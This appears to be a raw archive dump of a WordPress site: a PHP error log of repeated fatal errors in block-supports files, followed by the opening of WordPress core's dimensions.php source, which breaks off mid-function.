[02-Nov-2025 11:41:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[02-Nov-2025 11:42:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[02-Nov-2025 11:43:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[02-Nov-2025 11:44:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[02-Nov-2025 11:50:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[02-Nov-2025 12:02:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[02-Nov-2025 12:03:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[02-Nov-2025 12:04:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[02-Nov-2025 12:05:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[02-Nov-2025 12:06:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[02-Nov-2025 12:07:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[02-Nov-2025 12:08:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[02-Nov-2025 12:09:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[02-Nov-2025 12:10:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[02-Nov-2025 12:11:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[02-Nov-2025 12:12:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[02-Nov-2025 12:13:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[02-Nov-2025 12:14:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[02-Nov-2025 12:17:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[02-Nov-2025 12:19:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[02-Nov-2025 12:19:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[02-Nov-2025 12:22:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 08:46:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[03-Nov-2025 08:48:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[03-Nov-2025 08:49:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 08:52:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[03-Nov-2025 08:54:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 08:55:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 08:56:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 08:57:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 08:58:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 08:59:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 09:00:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[03-Nov-2025 09:01:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 09:02:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[03-Nov-2025 09:04:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 09:05:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 09:06:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[03-Nov-2025 09:13:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[03-Nov-2025 09:26:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 09:27:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 09:29:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 09:30:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 09:31:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 09:32:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 09:33:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 09:34:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 09:36:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 09:37:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 09:41:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[03-Nov-2025 09:44:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[03-Nov-2025 09:45:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[03-Nov-2025 09:47:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 09:48:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 09:49:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 09:50:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 09:51:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 09:53:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 09:54:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 09:56:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 09:57:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 10:03:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 10:06:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[03-Nov-2025 10:10:39 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 10:14:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 10:16:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 10:16:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 10:18:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 10:19:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[03-Nov-2025 10:20:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 10:22:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 10:23:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[03-Nov-2025 10:24:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 10:25:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 10:26:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 10:27:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
dimensions.php000064400000012437151024204770007436 0ustar00<?php
/**
 * Dimensions block support flag.
 *
 * This does not include the `spacing` block support even though that visually
 * appears under the "Dimensions" panel in the editor. It remains in its
 * original `spacing.php` file for compatibility with core.
 *
 * @package WordPress
 * @since 5.9.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_dimensions_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_dimensions_support = block_has_support( $block_type, 'dimensions', false );

	if ( $has_dimensions_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block dimensions to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.9.0
 * @since 6.2.0 Added `minHeight` support.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block dimensions CSS classes and inline styles.
 */
function wp_apply_dimensions_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) {
		return array();
	}

	$attributes = array();

	// Width support to be added in near future.

	$has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false );
	$block_styles           = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_min_height                      = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' );
	$dimensions_block_styles              = array();
	$dimensions_block_styles['minHeight'] = null;
	if ( $has_min_height_support && ! $skip_min_height ) {
		$dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] )
			? $block_styles['dimensions']['minHeight']
			: null;
	}
	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Renders server-side dimensions styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.5.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_dimensions_support( $block_content, $block ) {
	$block_type               = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes         = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false );

	if (
		! $has_aspect_ratio_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' )
	) {
		return $block_content;
	}

	$dimensions_block_styles                = array();
	$dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null;

	// To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule.
	if (
		isset( $dimensions_block_styles['aspectRatio'] )
	) {
		$dimensions_block_styles['minHeight'] = 'unset';
	} elseif (
		isset( $block_attributes['style']['dimensions']['minHeight'] ) ||
		isset( $block_attributes['minHeight'] )
	) {
		$dimensions_block_styles['aspectRatio'] = 'unset';
	}

	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject dimensions styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
